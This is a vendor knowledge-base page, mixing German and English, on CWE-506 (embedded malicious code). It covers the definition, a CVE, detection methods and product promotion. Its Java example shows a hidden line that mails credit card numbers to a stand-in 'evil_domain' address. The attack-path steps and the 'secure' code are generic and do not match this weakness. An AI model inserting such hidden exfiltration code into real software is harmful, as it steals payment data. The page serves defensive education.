CWE-506 Class Incomplete

Embedded Malicious Code

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Definition

What is CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.
Often called a Trojan horse, logic bomb, time bomb, or backdoor, this malicious code is designed to perform a legitimate function while secretly exploiting the system's permissions. The developer who inserts it typically aims to bypass security controls, steal data, or cause damage at a specific future trigger, abusing the trust placed in the application. Detecting these intentional flaws requires scrutinizing code for unexpected behaviors, hidden payloads, or suspicious time-based logic. Managing this risk at scale is difficult; an ASPM platform like Plexicus can help by correlating SAST findings with behavioral anomalies and using AI to prioritize these high-severity, intentional threats across your entire software supply chain.
Auswirkungen in der Praxis

Real-world CVEs caused by CWE-506

  • CVE-2022-30877

    A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

Wie Angreifer es ausnutzen

Angreiferpfad Schritt für Schritt

  1. 1

    Identifiziere einen Codepfad, der nicht vertrauenswürdige Eingaben ohne Validierung verarbeitet.

  2. 2

    Erzeuge eine Payload, die das unsichere Verhalten auslöst — Injection, Traversal, Overflow oder Logik-Missbrauch.

  3. 3

    Liefere die Payload über einen normalen Request aus und beobachte die Reaktion der Anwendung.

  4. 4

    Iteriere, bis die Antwort Daten preisgibt, Angreifer-Code ausführt oder Berechtigungen eskaliert.

Verwundbares Codebeispiel

Vulnerable Java

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Verwundbar Java 
boolean authorizeCard(String ccn) {
```
// Authorize credit card.* 
  		
  		
  		 *...* 
  		
  		mailCardNumber(ccn, "evil_developer@evil_domain.com");}
Sicheres Codebeispiel

Secure pseudo

Sicher pseudo 
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Präventions-Checkliste

How to prevent CWE-506

  • Testing Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Erkennungssignale

How to detect CWE-506

Manual Static Analysis - Binary or Bytecode SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Dynamic Analysis with Manual Results Interpretation SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Automated Monitored Execution

Manual Static Analysis - Source Code SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Manual Source Code Review (not inspections)

Automated Static Analysis SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Origin Analysis

Plexicus Auto-Fix

Plexicus erkennt CWE-506 automatisch und öffnet in unter 60 Sekunden einen Fix-PR.

Codex Remedium scannt jeden Commit, identifiziert genau diese Schwachstelle und liefert einen reviewer-ready Pull Request mit dem Patch. Keine Tickets. Keine Hand-offs.

Demo anfordern Plexicus kostenlos testen
Häufig gestellte Fragen

Frequently asked questions

Was ist CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Wie gravierend ist CWE-506?

MITRE hat für diese Schwachstelle keine Exploit-Wahrscheinlichkeit veröffentlicht. Behandle sie als mittlere Auswirkung, bis dein Threat Model anderes belegt.

Welche Sprachen oder Plattformen sind von CWE-506 betroffen?

MITRE hat für diese CWE keine betroffenen Plattformen spezifiziert — sie kann in den meisten Anwendungs-Stacks auftreten.

Wie kann ich CWE-506 verhindern?

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Wie erkennt und behebt Plexicus CWE-506?

Die SAST-Engine von Plexicus erkennt die Datenfluss-Signatur von CWE-506 bei jedem Commit. Bei einem Treffer öffnet unser Codex-Remedium-Agent einen Fix-PR mit korrigiertem Code, Tests und einer einzeiligen Zusammenfassung für den Reviewer.

Wo erfahre ich mehr über CWE-506?

MITRE veröffentlicht die kanonische Definition unter https://cwe.mitre.org/data/definitions/506.html. Für ergänzende Hinweise kannst du auch die OWASP- und NIST-Dokumentation heranziehen.

Verwandte Schwachstellen

Weaknesses related to CWE-506

CWE-912 Parent

Hidden Functionality

Hidden functionality refers to undocumented features, commands, or code within a product that are not part of its official specification…

CWE-1242 Sibling

Inclusion of Undocumented Features or Chicken Bits

This vulnerability occurs when a hardware device or chip includes undocumented configuration bits (often called 'chicken bits') or hidden…

CWE-507 Child

Trojan Horse

A Trojan Horse vulnerability occurs when software presents itself as legitimate and useful, but secretly contains malicious functionality…

CWE-510 Child

Trapdoor

A trapdoor, often called a backdoor, is a hidden piece of code intentionally placed within software. It activates in response to a…

CWE-511 Child

Logic/Time Bomb

A logic or time bomb is malicious code intentionally placed within software to trigger harmful actions when a specific condition is met or…

CWE-512 Child

Spyware

Spyware is software that secretly gathers personal information about a user or their activities. It does this by accessing data from other…

Ressourcen

Further reading

Bereit, wenn du es bist

Schluss mit dem Bezahlen pro Entwickler.
Schließ den Kreislauf.

Plexicus ist die KI-native ASPM, die scannt, filtert, fixt, pentestet und erklärt — autonom. Unbegrenzte Entwickler, unbegrenzte Repos, Fair-Use-KI-Aktionen. Echter kostenloser Tarif, €269/mo jährlich, wenn du bereit bist.

Kostenlos starten Demo buchen